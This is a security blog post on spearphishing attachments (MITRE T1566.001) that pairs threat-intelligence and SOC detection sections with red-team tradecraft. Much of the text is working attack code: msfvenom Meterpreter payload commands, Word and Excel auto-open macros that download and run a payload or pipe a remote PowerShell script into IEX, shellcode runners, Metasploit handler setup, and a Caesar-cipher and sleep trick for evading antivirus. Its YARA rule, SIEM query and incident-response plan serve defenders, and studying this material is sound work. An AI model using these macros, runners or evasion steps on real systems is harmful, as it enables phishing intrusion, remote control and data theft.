Post

TACTFlow - Part 0x3.1. Initial Access - Phishing - Spearphishing Attachment (T1566.001)

Spearphishing Attachment (T1566.001) - Weaponized Files in Disguise

TACTFlow - Part 0x3.1. Initial Access - Phishing - Spearphishing Attachment (T1566.001)

1. Phishing - Spearphishing Attachment (T1566.001)

If phishing is the art of deception, then spearphishing attachment is the booby-trapped gift attackers can’t wait for you to open. It’s like receiving a suspiciously well-wrapped package, except instead of a surprise inside, you get malware, remote access tools, or a one-way ticket to a security breach.

Spearphishing attachment (T1566.001) is a targeted phishing attack where malicious files are sent via email, disguised as legitimate documents. Unlike generic phishing, which casts a wide net, spearphishing is laser-focused, tailored to trick a specific individual, company, or industry.

spearphishing_intro

If you ask how it’s work ? The answer is as the follow:

  1. The Hook: The attacker researches the target and crafts a convincing email that looks like it’s from a trusted source (your boss, a vendor, or even an IT team).
  2. The Bait: The email contains an attachment, a Word document, PDF, Excel file, or even an image, that appears harmless but is packed with malicious payloads.
  3. The Bite: Once the target opens the file and enables macros or interacts with it, the attacker gains access to the system, allowing them to execute commands, steal data, or move laterally within the network.

1.1. CTI & Spearphishing Attachment (T1566.001)

As a CTI analyst, your role in defending against spearphishing attachment attacks begins with analyzing the MITRE ATT&CK Framework in relation to phishing. The key is to monitor public sources for intelligence on the most used techniques, emerging trends, and known threat actors, then map those insights to MITRE ATT&CK tactics relevant to your organization’s assets.

Each organization has a unique infrastructure; whether it’s Windows, Active Directory, VoIP, Cloud environments, or hybrid setups. So it’s crucial to prioritize TTPs based on what applies to your environment.

In this blog series, we will map all relevant TTPs to get a holistic view, as if analyzing an organization that contains all possible assets found in MITRE ATT&CK. This broad approach allows us to break down spearphishing attachment threats in a way that applies to diverse environments, helping both Red Teams and SOC analysts prepare effective defenses.

1.1.1. MITRE ATT&CK Observations

Let’s start with MITRE ATT&CK by breaking it down into attack definition, procedure examples, mitigations, and detection; all delivered in a structured way.

  • The attack definition is already described above. InitialAccess

  • Next, we focus on procedures, which include the most commonly used attack methods by APT groups and threat actors leveraging T1566.001. This gives us insight into prioritized attack vectors and tools, helping define our first scope (e.g., targeting Office products, common phishing lures, etc.). The top-priority threats from this analysis will be reported to Red Teaming for adversary simulation. InitialAccess

  • Then, we move on to Mitigations & Detection, which will be used to arm SOC analysts and SOC engineers with defensive strategies, detection rules, and response mechanisms. InitialAccess

This structured approach ensures that Red Teaming, SOC, and CTI work in sync, closing the gaps that threat actors exploit.

If we closely observe real-world attack procedures and analyze public attack reports from different sources (listed below in Real-World Attack Scenarios), we find that most spearphishing attachment attacks are focused on Microsoft Office products. This is a crucial insight when prioritizing attack simulations and security testing.

For example, if your goal is to prioritize the most impactful spearphishing attachment techniques for red teaming exercises, Microsoft Office-based attacks should be at the top of your list. Threat actors consistently leverage Office-based payloads to achieve Initial Access, making it a high-risk attack vector.


1.1.2. Why Start with Microsoft Office ?

Microsoft Office products are deeply integrated into daily business operations, making them prime targets for spearphishing attacks. Notably, Microsoft Office 365 maintains a significant presence in the productivity software market, with over 2 million companies worldwide relying on its services as of 2024. Additionally, Microsoft’s Windows operating system dominates the desktop OS market, holding approximately 72% market share as of February 2024.

Attackers frequently exploit features within Microsoft Office, such as:

  • Word macros (.docm) - Malicious scripts embedded in Word documents that execute upon enabling macros.
  • Excel formulas (.xlsm) - Crafted formulas in Excel files that serve as conduits for system compromise.
  • Embedded links and OLE objects t- Elements that, when interacted with, trigger the download of malicious payloads.

Given the widespread use of Microsoft Office and Windows in organizations, focusing on these platforms allows for targeted and effective defense strategies against spearphishing attachment attacks.

Real-World Attack Scenarios InitialAccess

  • 1. Operation Cobalt Kitty (2017) – APT32 (OceanLotus)
    • Attack Method: APT32 used spearphishing emails with malicious Microsoft Word documents containing macros.
    • Payload: Malicious macros executed PowerShell scripts to establish persistence and exfiltrate data.
    • Target: Asian corporations, mainly in the maritime sector.
    • Impact: Long-term corporate espionage, data theft, and unauthorized network access.
  • 2. FIN7 Targeting Financial & Hospitality Sectors
    • Attack Method: FIN7 used phishing emails with weaponized Word attachments exploiting Microsoft Office OLE (Object Linking and Embedding).
    • Payload: The malicious document executed JavaScript and PowerShell commands to deploy Carbanak malware.
    • Target: Over 100 U.S. companies, including restaurants, hotels, and financial institutions.
    • Impact: Stole over $1 billion by gaining unauthorized access to point-of-sale (POS) systems.
  • 3. Emotet & TrickBot Using Malicious Macros
    • Attack Method: Emotet spread through phishing emails containing malicious Word documents (.docm).
    • Payload: When macros were enabled, Emotet downloaded TrickBot, which deployed Ryuk ransomware.
    • Target: Enterprises and government organizations worldwide.
    • Impact: Led to massive ransomware outbreaks, including disruptions in hospitals and public services.
  • 4. QakBot Banking Trojan via Excel 4.0 Macros
    • Attack Method: QakBot malware was distributed through Excel email attachments using legacy Excel 4.0 macros (XLM macros).
    • Payload: Stole banking credentials and facilitated lateral movement within corporate networks.
    • Target: Financial institutions and businesses in the U.S. and Europe.
    • Impact: Led to credential theft and secondary ransomware infections.

1.1.3. Other Attack Vectors .. TBD ..


1.2. Red Teaming & Spearphishing Attachment (T1566.001)

As the CTI team has analyzed the TTPs, identified prioritized tools, and mapped the most relevant attack vectors, it’s time to put that intelligence into action.

Following the intelligence-driven approach, we will start with Microsoft Office products, as they have been highlighted as the most frequently exploited attack vector. From here, we will systematically move through other prioritized attack vectors, ensuring our simulations align with real-world threats observed in the wild.

By following the path laid out by CTI, we can:

  • Replicate the most common attack methods used by APTs and cybercriminals.
  • Test how effective security controls are against real phishing payloads.
  • Improve SOC detection capabilities by providing them with actionable insights from Red Team simulations.

Now, let’s dive into the technical side-weaponizing Office documents for phishing attacks, evading defenses, and understanding how adversaries exploit this vector.

1.2.1. Microsoft Word as Spearphishing Attachment

Important: Before moving into attacks, please take the following considerations about Microsoft Office Word!

  • Microsoft Word files must be saved as .doc or .docm, as they support embedded macros. .docx will not work.
  • Ensure macros are properly set in the document; otherwise, they may only execute locally and not work when opened by the target machine.
  • Given the simplicity and availability of Metasploit as C2 frameworks, we will itand sometimes msfvenom for payload generation.
  • Microsoft Word 64-bit Vs. 32-bit & VBA Execution:
1
2
3
4
5
6
7
8
9
#If VBA7 And Win64 Then
    'for 64-bit Excel
    Declare PtrSafe Function GetSystemDirectory Lib "kernel32" _
    Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
#Else
    'for 32-bit Excel
    Declare Function GetSystemDirectory Lib "kernel32" _
    Alias "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize As Long) As Long
#End If

1.2.1.1 Phishing With MS Office - VB Macros - Method 1 (On Disk)

Important: Sometimes you need to insert the FULL path of the payload to be executed!

In Method 1 (On DISK), we use VB scripts to download the binary and execute it on the disk.

  1. Create the payload using msfvenom:
    1
    
     sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f exe -o pay.exe
    
  2. Start a local HTTP server using Python or PHP for file transfer, or use any available tool you typically have on hand.
    1
    
     sudo python -m http.server 80
    
  3. Made the necessary changes to the script.
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    
     ' The following 2 functions allowed the execution of our macro when the docuemnt is opened
     Sub Document_Open()
         MyMacro
     End Sub
    
     Sub AutoOpen()
         MyMacro
     End Sub
    
     Sub MyMacro()
         Dim str as String
         str = "powershell (New-Object System.Net.WebClient).DownloadFile('https://192.168.x.x/pay.exe', 'pay.exe')"
         Shell str, vbHide
            
         ' The file will dropped on the current file directory, we can execute it from there
         Dim exePath as String
         exePath = ActiveDocument.Path  + "\pay.exe"
    
         ' Wait for a 2 second
         Wait(3)
            
         ' Execute the payload
         Shell exePath, vbHide
     End Sub
    
     ' The download process may take time, create a function to make a delai (wait time)
     ' Due that there is No default function exists on MS Word for Wait
     Sub Wait(n as Long)
         Dim t as Date
         t = Now
         Do
             ' To do not block MS office, lets it doing other actions (events)
             DoEvents
         Loop Until Now >= DateAdd("s", n, t)
     End Sub
    
    • You can use Invoke-WebRequest too:
      1
      
        powershell Invoke-WebRequest 'https://192.168.x.x/pay.exe' -OutFile 'pay.exe'
      
  4. Use Metasploit (sudo msfconsole -q) and set up a multi-handler with the same payload used in msfvenom.
    1
    2
    3
    4
    5
    6
    
     use multi/handler
     set payload windows/x64/meterpreter/reverse_https
     set LHOST tun0
     set LPORT 443
     options
     exploit
    

1.2.1.2 Phishing With MS Office - VB ShellCode Runner (Method 2)

  1. Create the payload using msfvenom:
    1
    
     sudo msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f vbapplication
    
  2. Create the VB Macro
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    
     Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
    
     Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    
     Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
    
     Function MyMacro()
         Dim buf As Variant
         Dim addr As LongPtr
         Dim counter As Long
         Dim data As Long
         Dim res As Long
            
         buf = Array(252, 232, .....)
    
         addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
            
         For counter = LBound(buf) To UBound(buf)
             data = buf(counter)
             res = RtlMoveMemory(addr + counter, data, 1)
         Next counter
            
         res = CreateThread(0, 0, addr, 0, 0, 0)
     End Function
    
     Sub Document_Open()
         MyMacro
     End Sub
    
     Sub AutoOpen()
         MyMacro
     End Sub   
    
  3. Use Metasploit (sudo msfconsole -q) and set up a multi-handler with the same payload used in msfvenom.
    1
    2
    3
    4
    5
    6
    7
    
     use multi/handler
     set payload windows/meterpreter/reverse_https
     set LHOST tun0
     set LPORT 443
     set exitfunc thread
     options
     exploit
    

1.2.1.3 Phishing With MS Office - PowerShell Shellcode Runner (Method 1- In-Memory using Add-Type)

  1. Create the payload using msfvenom and copy it to the script run.ps1 below:
    1
    
     sudo msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f ps1
    
  2. Host the script on the attack machine as run.ps1 and use DownloadString in the VBA script to execute it on the victim machine.
    • VBA Code - This will help download and execute the PowerShell script using VBA.
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      
        Sub Document_Open()
            MyMacro
        End Sub
      
        Sub AutoOpen()
            MyMacro
        End Sub
      
        Sub MyMacro()
            Dim str As String
            str = "powershell (New-Object System.Net.WebClient).DownloadString('https://192.168.x.x/run.ps1') | IEX"
            Shell str, vbHide
        End Sub
      
    • run.ps1 - hosted on the attacker machine
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      
        $Kernel32 = @"
        using System;
        using System.Runtime.InteropServices;
      
        public class Kernel32 {
            [DllImport("kernel32")]
            public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
                      
            [DllImport("kernel32", CharSet=CharSet.Ansi)]
            public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
                          
            [DllImport("kernel32.dll", SetLastError=true)]
            public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
        }
        "@
      
        Add-Type $Kernel32
      
        # Byte[] $buf ..  generate shellcode using msfvenom
      
        [Byte[]] $buf = 0xfc,0xe8,0x8f,...
      
        $size = $buf.Length
      
        [IntPtr]$addr = [Kernel32]::VirtualAlloc(0,$size,0x3000,0x40);
        [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $addr, $size)
        $thandle=[Kernel32]::CreateThread(0,0,$addr,0,0,0);
      
        # Add the dealy to slove the previous problem
        # 0xFFFFFFFF wait forever, or when we kill the shell
        [Kernel32]::WaitForSingleObject($thandle, [uint32]"0xFFFFFFFF")
      
      • C data types can be mapped to C# data types using P/Invoke (Platform Invocation Services). You can find relevant mappings and examples at www.pinvoke.net, such as the implementation of VirtualAlloc.
  3. Use Metasploit (sudo msfconsole -q) and set up a multi-handler with the same payload used in msfvenom.
    1
    2
    3
    4
    5
    6
    
     use multi/handler
     set payload windows/meterpreter/reverse_https
     set LHOST tun0
     set LPORT 443
     options
     exploit
    

1.2.1.4 Phishing With MS Office - PowerShell Shellcode Runner (Method 2 - In-Memory Powershell using Reflevtive Load)

Remeber: Add x64 to the msfvenom payload (and Metasploit) if you want to test on an x64 architecture. The method below works prior to Method 1 with Office 32-bit !

  1. Create the payload using msfvenom and copy it to the script run.ps1 below:
    1
    
     sudo msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f ps1
    
  2. Host the script on the attack machine as run.ps1 and use DownloadString in the VBA script to execute it on the victim machine.
    • VBA Code - This will help download and execute the PowerShell script using VBA.
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      
        Sub Document_Open()
            MyMacro
        End Sub
      
        Sub AutoOpen()
            MyMacro
        End Sub
      
        Sub MyMacro()
            Dim str As String
            str = "powershell (New-Object System.Net.WebClient).DownloadString('https://192.168.x.x/run.ps1') | IEX"
            Shell str, vbHide
        End Sub
      
    • run.ps1 - hosted on the attacker machine
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      
        function LookupFunc {
      
            Param ($moduleName, $functionName)
      
            $assem = ([AppDomain]::CurrentDomain.GetAssemblies() | 
            Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
            $tmp=@()
            $assem.GetMethods() | ForEach-Object {If($_.Name -eq "GetProcAddress") {$tmp+=$_}}
            return $tmp[0].Invoke($null, @(($assem.GetMethod('GetModuleHandle')).Invoke($null, @($moduleName)), $functionName))
        }
      
        function getDelegateType {
      
            Param (
                [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,
                [Parameter(Position = 1)] [Type] $delType = [Void]
            )
      
            $type = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
      
        $type.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $func).SetImplementationFlags('Runtime, Managed')
      
        $type.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $delType, $func).SetImplementationFlags('Runtime, Managed')
      
            return $type.CreateType()
        }
      
        $lpMem = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAlloc), (getDelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]))).Invoke([IntPtr]::Zero, 0x1000, 0x3000, 0x40)
      
        [Byte[]] $buf = 0xfc,0xe8,0x82,0x0,0x0,0x0...
      
        [System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $lpMem, $buf.length)
      
        $hThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateThread), (getDelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr]))).Invoke([IntPtr]::Zero,0,$lpMem,[IntPtr]::Zero,0,[IntPtr]::Zero)
      
        [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WaitForSingleObject), (getDelegateType @([IntPtr], [Int32]) ([Int]))).Invoke($hThread, 0xFFFFFFFF)
      
      • What’s going on here:
        1. lookupFunc 👉🏻 to obtain a reference to the System.dll assembly’s GetModuleHandle and GetProcAddress methods using GetType and GetMethod functions (aka the Reflection technique).
        2. getDelegateType 👉🏻 to define the argument types for the APIs using a delegate type via Reflection and return it.
        3. VirtualAlloc 👉🏻 to allocate writable, readable, and executable (unmanaged) memory space in virtual address space of the calling process.
        4. Copy 👉🏻 to copy the shellcode bytes into allocated memory location.
        5. CreateThread 👉🏻 to create a new execution thread in the calling process and execute the shellcode.
        6. WaitForSingleObject 👉🏻 to delay termination of the PowerShell script until the shell fully executes.
  3. Use Metasploit (sudo msfconsole -q) and set up a multi-handler with the same payload used in msfvenom.
    1
    2
    3
    4
    5
    6
    
     use multi/handler
     set payload windows/meterpreter/reverse_https
     set LHOST tun0
     set LPORT 443
     options
     exploit
    

1.2.2. Microsoft Excel as Spearphishing Attachment

The same applies to Microsoft Word; make the following changes:

  • AuoOpen to Auto_Open
  • Document_Open() to Workbook_Open()
    1
    2
    3
    4
    5
    6
    7
    
      Sub Auto_Open()
          myMacro
      End Sub
    
      Sub Workbook_Open()
          Auto_Open
      End Sub
    

An example of modified script used before:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
' The following 2 functions allowed the execution of our macro when the docuemnt is opened
Sub Workbook_Open()
    MyMacro
End Sub

Sub Auto_Open()
    MyMacro
End Sub


Sub MyMacro()
    Dim str As String
    str = "powershell (New-Object System.Net.WebClient).DownloadFile('https://192.168.x.x/pay.exe', 'pay.exe')"
    Shell str, vbHide
    
    ' The file will dropped on the current file directory, we can execute it from there
    Dim exePath As String
    exePath = ActiveWorkbook.Path + "\pay.exe"
    
    If Application.Wait(Now + TimeValue("0:00:2")) Then
    ' Execute the payload
        Shell exePath, vbHide
    End If
End Sub

1.2.3. Tools: Microsoft Offices & Spearphishing Attachment

  1. MaliciousMacro MSBuild Generator: https://github.com/infosecn1nja/MaliciousMacroMSBuild
  2. SpookFlare https://github.com/hlldz/SpookFlare
  3. BadAssMacros https://github.com/Inf0secRabbit/BadAssMacros
  4. VBS-Macro-XOR-Generator https://github.com/xbz0n/VBS-Macro-XOR-Generator

1.3. SOC & Spearphishing Attachment (T1566.001)

After the Red Teaming simulation, it’s the SOC team’s responsibility to analyze, detect, and mitigate such attacks in real-world scenarios.

1.3.1. Analysis & Inspection

For a quick investigation of potentially malicious Office documents, SOC analysts can inspect VBA macros using olevba. This tool allows analysts to extract and analyze macros embedded in Office documents.

For instance, to inspect a VBA macro code in a document, you can run the following command:

1
olevba <suspicious_doc>.ext

Where ext could be docm, doc, xls, xlsm, etc.

Example Output from olevba of previous mentioned attack on the Red Teaming side:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
╭─kali@kali ~/tactflow/phishing/spear_phishing/word 
╰─$ olevba invoce.doc
olevba 0.60.2 on Python 2.7.18 - https://decalage.info/python/oletools
===============================================================================
FILE: invoce.doc
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: invoce.doc - OLE stream: u'Macros/VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: invoce.doc - OLE stream: u'Macros/VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (...) 
Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (...) 
Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (...) 

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|CreateThread        |May inject code into another process         |
|Suspicious|VirtualAlloc        |May inject code into another process         |
|Suspicious|RtlMoveMemory       |May inject code into another process         |
|Suspicious|Lib                 |May run code from a DLL                      |
+----------+--------------------+---------------------------------------------+--+--------------------+---------------------------------------------+

From the above analysis, we can infer that the document contains suspicious VBA code designed to allocate memory, move memory contents, and create a new thread, which are common techniques for shellcode execution in malware attacks.

1.3.2. Detection Strategies

To enhance the detection capabilities against such attacks, SOC teams can implement the following strategies:

  1. Signature-based Detection::
    • Develop and deploy YARA rules to detect specific VBA macro functions such as CreateThread, VirtualAlloc, and RtlMoveMemory or AutoOpen" and Macros`. For example:
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      
        rule Suspicious_VBA_Macros {
            strings:
                $vba1 = "CreateThread"
                $vba2 = "VirtualAlloc"
                $vba3 = "RtlMoveMemory"
                $vba4 = "kernel32"
      
                $s1 = "AutoOpen" ascii fullword
                $s2 = "Macros" wide fullword
            condition:
                any of ($vba*) or
                uint32be(0) == 0xd0cf11e0 or 	// DOC, PPT, XLS
                uint32be(0) == 0x504b0304      // DOCX, PPTX, XLSX (PKZIP)   
        }
      
      
    • Use SIEM (Security Information and Event Management) systems to flag email attachments containing suspicious macro-enabled documents. For Example:
      1
      
        index=windows EventCode=4688 ParentImage="*winword.exe" | search Image="*powershell.exe" OR Image="*cmd.exe"
      
  2. Behavioral Analysis::
    • Monitor document execution patterns to detect suspicious activity, such as network requests or process injections.
    • Implement endpoint detection and response (EDR) solutions that analyze macro execution and flag anomalies.
  3. Threat Intelligence Correlation::
    • Leverage threat intelligence feeds to compare known malicious VBA signatures with incoming attachments.
    • Cross-reference file hashes, URLs, and IP addresses extracted from macros with known indicators of compromise (IOCs).

1.3.3. Mitigation Strategies

As part of SOC engineering efforts, the following mitigation techniques can help reduce the risk of spearphishing attachments:

  1. Email Security Measures:
    • Enable attachment sandboxing to automatically detonate and analyze potentially malicious documents before delivery to the user.
    • Implement DKIM, SPF, and DMARC policies to reduce phishing attempts.
  2. User Awareness Training:
    • Conduct regular phishing simulation exercises to educate users on recognizing suspicious emails and attachments.
    • Promote a security-first culture where employees report suspicious emails to the SOC team.
  3. Endpoint Hardening:
    • Disable macros by default in Office applications and enforce group policies to prevent automatic macro execution.
    • Restrict access to PowerShell, WMI, and other scripting tools commonly abused by attackers.

By implementing these detection and mitigation strategies, SOC teams can significantly reduce the impact of spearphishing attachment attacks while improving their overall security posture.

1.3.4. P.I.C.E.R.L. and Spearphishing Attachment (T1566.001)

Previously, we discussed various detections, mitigation strategies and security measures to prevent cyber threats. While preventative controls are crucial, they are not foolproof. Threat actors constantly evolve their techniques, and some attacks will inevitably bypass defenses. This is where Incident Response (IR) becomes essential. Instead of just focusing on preventing threats, we must now think like an IR team: detecting, containing, and recovering from real-world cyber incidents.

First of all, what is PICERL ? The P.I.C.E.R.L. framework (Preparation, Identification, Containment, Eradication, Recovery, Lessons Learned) is a structured approach used in cyber incident response to effectively detect, mitigate, and recover from security threats. It ensures that organizations handle incidents proactively and efficiently, reducing the impact of cyberattacks.

InitialAccess

The following table outlines a detailed response plan for Spearphishing Attachment attacks, a common Initial Access technique (T1566.001) where attackers use malicious email attachments to deliver malware or steal credentials. This plan provides a step-by-step strategy to detect, contain, and mitigate phishing threats while strengthening security defenses.

Preparation (P)Identification (I)Containment (C)
Implement email security gateways (SEG) to filter malicious attachmentsDetect phishing emails with SOC monitoring, user reports, and threat intelligence feedsQuarantine suspected phishing emails before reaching users
Enable sandboxing for attachments to analyze suspicious filesMonitor email logs for messages containing macros, executables, or uncommon file types (.docm, .iso, .lnk)Block sender domains and IP addresses identified in phishing campaigns
Configure Advanced Threat Protection (ATP) to detect known phishing patternsIdentify user interactions (who clicked the link or opened attachments)Revoke user access to affected systems if compromised
Conduct regular phishing simulations and security awareness trainingCheck for PowerShell, VBA macro execution, or network traffic anomaliesBlacklist malicious URLs and IOCs in firewalls and endpoint security tools
Enforce email authentication (DMARC, DKIM, SPF) to prevent spoofingInspect email headers, sender addresses, and embedded URLs for spoofing indicatorsImplement DLP (Data Loss Prevention) rules to prevent data exfiltration
Ensure SIEM alerts are configured for phishing indicatorsCorrelate phishing attempts with known threat actor TTPsPerform forensic analysis on affected machines
Eradication (E)Recovery (R)Lessons/Opportunities (L)
Remove all malicious attachments from email serversRestore user accounts and credentials after validationStrengthen email security policies based on attack patterns
Scan infected endpoints for malware or payloads delivered via attachmentsVerify logs and endpoint security to confirm no persistence mechanisms existImplement stricter attachment filtering for untrusted file types
Reset credentials of affected users and enforce MFAEnsure EDR/XDR tools are updated with new threat indicatorsReview incident response logs to refine detection rules
Conduct IOC sweeping in email and SIEM logs for similar threatsRestore backup copies of critical files if modified or encryptedDevelop user awareness programs to improve phishing identification
Ensure threat signatures are updated in antivirus solutionsPerform post-incident analysis to identify potential vulnerabilitiesTest SOC response readiness through tabletop exercises
Remove persistence mechanisms (registry changes, scheduled tasks) if malware was executedImplement long-term monitoring for recurring attacksRegularly review MITRE ATT&CK mappings for phishing evolution

2. AV/EDR Bypass & Spearphishing Attachment (T1566.001)

2.1. VBA & Bypass AV

  1. Create the payload using msfvenom and copy it to the script CeasarVBAHelper.cs below:
    1
    
     sudo msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f csharp
    
  2. Use CeasarVBAHelper C# Script to generate the VBA shellcode:
    • We are going to use Caesar Cipher: This is a very simple routine, and reversing it is just as straightforward. By rotating the same number of letters to the left, we can restore the original text:
      • We chose a substitution key of 2, iterated through each byte value in the shellcode, and simply added 2 to its value.
      • To ensure the modified value remains within the 0-255 range (a single byte), we performed a bitwise AND operation with 0xFF in case the increased byte value exceeds 0xFF.
    • Additionally, we incorporate Sleep Time to help evade detection and bypass certain security mechanisms.

    • The CeasarVBAHelper.cs
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      
        using System;
        using System.Collections.Generic;
        using System.Linq;
        using System.Text;
        using System.Threading.Tasks;
      
        namespace CeasarVBAHelper
        {
            class Program
            {
                static void Main(string[] args)
                {
                    // msfvenom -p windows/meterpreter/reverse_https LHOST=tun0 LPORT=443 EXITFUNC=thread -f csharp
                    byte[] buf = new byte[752] {0xfc, 0x48, .....}
      
                    byte[] encoded = new byte[buf.Length];
                    for (int i = 0; i < buf.Length; i++)
                    {
                        encoded[i] = (byte)(((uint)buf[i] + 2) & 0xFF);
                    }
                    uint counter = 0;
                    // Output the encrypted shellcode
                    StringBuilder hex = new StringBuilder(encoded.Length * 2);
                    foreach (byte b in encoded)
                    {
                        hex.AppendFormat("{0:D}, ", b);
                        counter++;
                        if(counter % 50 == 0)
                        {
                            hex.AppendFormat("_{0}", Environment.NewLine);
                        }
                    }
      
                    Console.WriteLine("The payload is: " + hex.ToString());
                }
            }
        }
      
  3. After compile the program and execute it, insert the output from CeasarVBAHelper.exe, which contains the encrypted reverse shellcode, into the VBA shellcode runner below:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    
     Private Declare PtrSafe Function CreateThread Lib "KERNEL32" (ByVal SecurityAttributes As Long, ByVal StackSize As Long, ByVal StartFunction As LongPtr, ThreadParameter As LongPtr, ByVal CreateFlags As Long, ByRef ThreadId As Long) As LongPtr
    
     Private Declare PtrSafe Function VirtualAlloc Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
    
     Private Declare PtrSafe Function RtlMoveMemory Lib "KERNEL32" (ByVal lDestination As LongPtr, ByRef sSource As Any, ByVal lLength As Long) As LongPtr
    
     Private Declare PtrSafe Function Sleep Lib "KERNEL32" (ByVal mili As Long) As Long
    
     Function MyMacro()
         Dim buf As Variant
         Dim addr As LongPtr
         Dim counter As Long
         Dim data As Long
         Dim res As Long
         Dim t1 As Date
         Dim t2 As Date
         Dim time As Long
         Dim i As Integer
            
     'sleeper to bypass heuristic detection
         t1 = Now()
         Sleep (2000)
         t2 = Now()
         time = DateDiff("s", t1, t2)
            
         If time < 2 Then
             Exit Function
         End If
    
     'shellcode generated with the helper
         buf = Array(254, 234, 145, 2, 2, 2, 98, 51,........)
    
     'decryption routine
     For i = 0 To UBound(buf)
         buf(i) = buf(i) - 2
     Next i
    
         addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
            
         For counter = LBound(buf) To UBound(buf)
             data = buf(counter)
             res = RtlMoveMemory(addr + counter, data, 1)
         Next counter
            
         res = CreateThread(0, 0, addr, 0, 0, 0)
     End Function
    
     Sub Document_Open()
         MyMacro
     End Sub
    
     Sub AutoOpen()
         MyMacro
     End Sub
    
  4. Use Metasploit (sudo msfconsole -q) and set up a multi-handler with the same payload used in msfvenom.
    1
    2
    3
    4
    5
    6
    
     use multi/handler
     set payload windows/meterpreter/reverse_https
     set LHOST tun0
     set LPORT 443
     options
     exploit
    

Resources

This post is licensed under CC BY 4.0 by the author.